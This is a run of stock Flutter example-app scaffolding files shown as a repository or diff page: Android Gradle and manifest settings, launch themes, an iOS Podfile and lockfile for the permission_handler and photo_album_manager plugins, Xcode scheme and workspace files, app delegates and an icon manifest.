buildTypes {
release {
// TODO: Add your own signing config for the release build.
// Signing with the debug keys for now, so `flutter run --release` works.
signingConfig signingConfigs.debug
}
}
}
flutter {
source '../..'
}
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.example">
<!-- The INTERNET permission is required for development. Specifically,
the Flutter tool needs it to communicate with the running application
to allow setting breakpoints, to provide hot reload, etc.
-->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.example">
<application
android:label="example"
android:name="${applicationName}"
android:icon="@mipmap/ic_launcher">
<activity
android:name=".MainActivity"
android:exported="true"
android:launchMode="singleTop"
android:theme="@style/LaunchTheme"
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|smallestScreenSize|locale|layoutDirection|fontScale|screenLayout|density|uiMode"
android:hardwareAccelerated="true"
android:windowSoftInputMode="adjustResize">
<!-- Specifies an Android theme to apply to this Activity as soon as
the Android process has started. This theme is visible to the user
while the Flutter UI initializes. After that, this theme continues
to determine the Window background behind the Flutter UI. -->
<meta-data
android:name="io.flutter.embedding.android.NormalTheme"
android:resource="@style/NormalTheme"
/>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<!-- Don't delete the meta-data below.
This is used by the Flutter tool to generate GeneratedPluginRegistrant.java -->
<meta-data
android:name="flutterEmbedding"
android:value="2" />
</application>
</manifest>
package com.example.example;
import io.flutter.embedding.android.FlutterActivity;
public class MainActivity extends FlutterActivity {
}
<?xml version="1.0" encoding="utf-8"?>
<!-- Modify this file to customize your launch splash screen -->
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="?android:colorBackground" />
<!-- You can insert your own image assets here -->
<!-- <item>
<bitmap
android:gravity="center"
android:src="@mipmap/launch_image" />
</item> -->
</layer-list>
<?xml version="1.0" encoding="utf-8"?>
<!-- Modify this file to customize your launch splash screen -->
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="@android:color/white" />
<!-- You can insert your own image assets here -->
<!-- <item>
<bitmap
android:gravity="center"
android:src="@mipmap/launch_image" />
</item> -->
</layer-list>
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- Theme applied to the Android Window while the process is starting when the OS's Dark Mode setting is on -->
<style name="LaunchTheme" parent="@android:style/Theme.Black.NoTitleBar">
<!-- Show a splash screen on the activity. Automatically removed when
the Flutter engine draws its first frame -->
<item name="android:windowBackground">@drawable/launch_background</item>
</style>
<!-- Theme applied to the Android Window as soon as the process has started.
This theme determines the color of the Android Window while your
Flutter UI initializes, as well as behind your Flutter UI while its
running.
This Theme is only used starting with V2 of Flutter's Android embedding. -->
<style name="NormalTheme" parent="@android:style/Theme.Black.NoTitleBar">
<item name="android:windowBackground">?android:colorBackground</item>
</style>
</resources>
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- Theme applied to the Android Window while the process is starting when the OS's Dark Mode setting is off -->
<style name="LaunchTheme" parent="@android:style/Theme.Light.NoTitleBar">
<!-- Show a splash screen on the activity. Automatically removed when
the Flutter engine draws its first frame -->
<item name="android:windowBackground">@drawable/launch_background</item>
</style>
<!-- Theme applied to the Android Window as soon as the process has started.
This theme determines the color of the Android Window while your
Flutter UI initializes, as well as behind your Flutter UI while its
running.
This Theme is only used starting with V2 of Flutter's Android embedding. -->
<style name="NormalTheme" parent="@android:style/Theme.Light.NoTitleBar">
<item name="android:windowBackground">?android:colorBackground</item>
</style>
</resources>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.example">
<!-- The INTERNET permission is required for development. Specifically,
the Flutter tool needs it to communicate with the running application
to allow setting breakpoints, to provide hot reload, etc.
-->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
buildscript {
ext.kotlin_version = '1.7.10'
repositories {
google()
mavenCentral()
}
dependencies {
classpath 'com.android.tools.build:gradle:7.2.0'
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
}
}
allprojects {
repositories {
google()
mavenCentral()
}
}
rootProject.buildDir = '../build'
subprojects {
project.buildDir = "${rootProject.buildDir}/${project.name}"
}
subprojects {
project.evaluationDependsOn(':app')
}
task clean(type: Delete) {
delete rootProject.buildDir
}
org.gradle.jvmargs=-Xmx1536M
android.useAndroidX=true
android.enableJetifier=true
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-7.5-all.zip
include ':app'
def localPropertiesFile = new File(rootProject.projectDir, "local.properties")
def properties = new Properties()
assert localPropertiesFile.exists()
localPropertiesFile.withReader("UTF-8") { reader -> properties.load(reader) }
def flutterSdkPath = properties.getProperty("flutter.sdk")
assert flutterSdkPath != null, "flutter.sdk not set in local.properties"
apply from: "$flutterSdkPath/packages/flutter_tools/gradle/app_plugin_loader.gradle"
**/dgph
*.mode1v3
*.mode2v3
*.moved-aside
*.pbxuser
*.perspectivev3
**/*sync/
.sconsign.dblite
.tags*
**/.vagrant/
**/DerivedData/
Icon?
**/Pods/
**/.symlinks/
profile
xcuserdata
**/.generated/
Flutter/App.framework
Flutter/Flutter.framework
Flutter/Flutter.podspec
Flutter/Generated.xcconfig
Flutter/ephemeral/
Flutter/app.flx
Flutter/app.zip
Flutter/flutter_assets/
Flutter/flutter_export_environment.sh
ServiceDefinitions.json
Runner/GeneratedPluginRegistrant.*
# Exceptions to above rules.
!default.mode1v3
!default.mode2v3
!default.pbxuser
!default.perspectivev3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>App</string>
<key>CFBundleIdentifier</key>
<string>io.flutter.flutter.app</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>App</string>
<key>CFBundlePackageType</key>
<string>FMWK</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>MinimumOSVersion</key>
<string>11.0</string>
</dict>
</plist>
#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig"
#include "Generated.xcconfig"
#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig"
#include "Generated.xcconfig"
# Uncomment this line to define a global platform for your project
# platform :ios, '11.0'
# CocoaPods analytics sends network stats synchronously affecting flutter build latency.
ENV['COCOAPODS_DISABLE_STATS'] = 'true'
project 'Runner', {
'Debug' => :debug,
'Profile' => :release,
'Release' => :release,
}
def flutter_root
generated_xcode_build_settings_path = File.expand_path(File.join('..', 'Flutter', 'Generated.xcconfig'), __FILE__)
unless File.exist?(generated_xcode_build_settings_path)
raise "#{generated_xcode_build_settings_path} must exist. If you're running pod install manually, make sure flutter pub get is executed first"
end
File.foreach(generated_xcode_build_settings_path) do |line|
matches = line.match(/FLUTTER_ROOT\=(.*)/)
return matches[1].strip if matches
end
raise "FLUTTER_ROOT not found in #{generated_xcode_build_settings_path}. Try deleting Generated.xcconfig, then run flutter pub get"
end
require File.expand_path(File.join('packages', 'flutter_tools', 'bin', 'podhelper'), flutter_root)
flutter_ios_podfile_setup
target 'Runner' do
flutter_install_all_ios_pods File.dirname(File.realpath(__FILE__))
end
post_install do |installer|
installer.pods_project.targets.each do |target|
flutter_additional_ios_build_settings(target)
end
end
PODS:
- Flutter (1.0.0)
- "permission_handler (5.1.0+2)":
- Flutter
- photo_album_manager (0.0.1):
- Flutter
DEPENDENCIES:
- Flutter (from `Flutter`)
- permission_handler (from `.symlinks/plugins/permission_handler/ios`)
- photo_album_manager (from `.symlinks/plugins/photo_album_manager/ios`)
EXTERNAL SOURCES:
Flutter:
:path: Flutter
permission_handler:
:path: ".symlinks/plugins/permission_handler/ios"
photo_album_manager:
:path: ".symlinks/plugins/photo_album_manager/ios"
SPEC CHECKSUMS:
Flutter: f04841e97a9d0b0a8025694d0796dd46242b2854
permission_handler: ccb20a9fad0ee9b1314a52b70b76b473c5f8dab0
photo_album_manager: c25d95cb4528e98cbd0c7300efa2f910d2fa27b2
PODFILE CHECKSUM: 663715e941f9adb426e33bf9376914006f9ea95b
COCOAPODS: 1.11.1
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:">
</FileRef>
</Workspace>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PreviewsEnabled</key>
<false/>
</dict>
</plist>
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1300"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "97C146ED1CF9000F007C117D"
BuildableName = "Runner.app"
BlueprintName = "Runner"
ReferencedContainer = "container:Runner.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "97C146ED1CF9000F007C117D"
BuildableName = "Runner.app"
BlueprintName = "Runner"
ReferencedContainer = "container:Runner.xcodeproj">
</BuildableReference>
</MacroExpansion>
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "97C146ED1CF9000F007C117D"
BuildableName = "Runner.app"
BlueprintName = "Runner"
ReferencedContainer = "container:Runner.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Profile"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "97C146ED1CF9000F007C117D"
BuildableName = "Runner.app"
BlueprintName = "Runner"
ReferencedContainer = "container:Runner.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "group:Runner.xcodeproj">
</FileRef>
<FileRef
location = "group:Pods/Pods.xcodeproj">
</FileRef>
</Workspace>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PreviewsEnabled</key>
<false/>
</dict>
</plist>
#import <Flutter/Flutter.h>
#import <UIKit/UIKit.h>
@interface AppDelegate : FlutterAppDelegate
@end
#import "AppDelegate.h"
#import "GeneratedPluginRegistrant.h"
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application
didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
[GeneratedPluginRegistrant registerWithRegistry:self];
// Override point for customization after application launch.
return [super application:application didFinishLaunchingWithOptions:launchOptions];
}
@end
import UIKit
import Flutter
@UIApplicationMain
@objc class AppDelegate: FlutterAppDelegate {
override func application(
_ application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
) -> Bool {
GeneratedPluginRegistrant.register(with: self)
return super.application(application, didFinishLaunchingWithOptions: launchOptions)
}
}
{
"images" : [
{
"size" : "20x20",
"idiom" : "iphone",
"filename" : "Icon-App-20x20@2x.png",
"scale" : "2x"
},
{
"size" : "20x20",
"idiom" : "iphone",
"filename" : "Icon-App-20x20@3x.png",
"scale" : "3x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "Icon-App-29x29@1x.png",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "Icon-App-29x29@2x.png",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "Icon-App-29x29@3x.png",
"scale" : "3x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "Icon-App-40x40@2x.png",
"scale" : "2x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "Icon-App-40x40@3x.png",
"scale" : "3x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "Icon-App-60x60@2x.png",
"scale" : "2x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "Icon-App-60x60@3x.png",
"scale" : "3x"
},
{
"size" : "20x20",
"idiom" : "ipad",
"filename" : "Icon-App-20x20@1x.png",
"scale" : "1x"
},
{
"size" : "20x20",
"idiom" : "ipad",
"filename" : "Icon-App-20x20@2x.png",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "Icon-App-29x29@1x.png",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "Icon-App-29x29@2x.png",
"scale" : "2x"
},
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "Icon-App-40x40@1x.png",
"scale" : "1x"
},
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "Icon-App-40x40@2x.png",
"scale" : "2x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "Icon-App-76x76@1x.png",
"scale" : "1x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "Icon-App-76x76@2x.png",
"scale" : "2x"
},
{
"size" : "83.5x83.5",
"idiom" : "ipad",
"filename" : "Icon-App-83.5x83.5@2x.png",
"scale" : "2x"
},
{
"size" : "1024x1024",
"idiom" : "ios-marketing",
"filename" : "Icon-App-1024x1024@1x.png",
"scale" : "1x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}
差异被折叠。
差异被折叠。
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论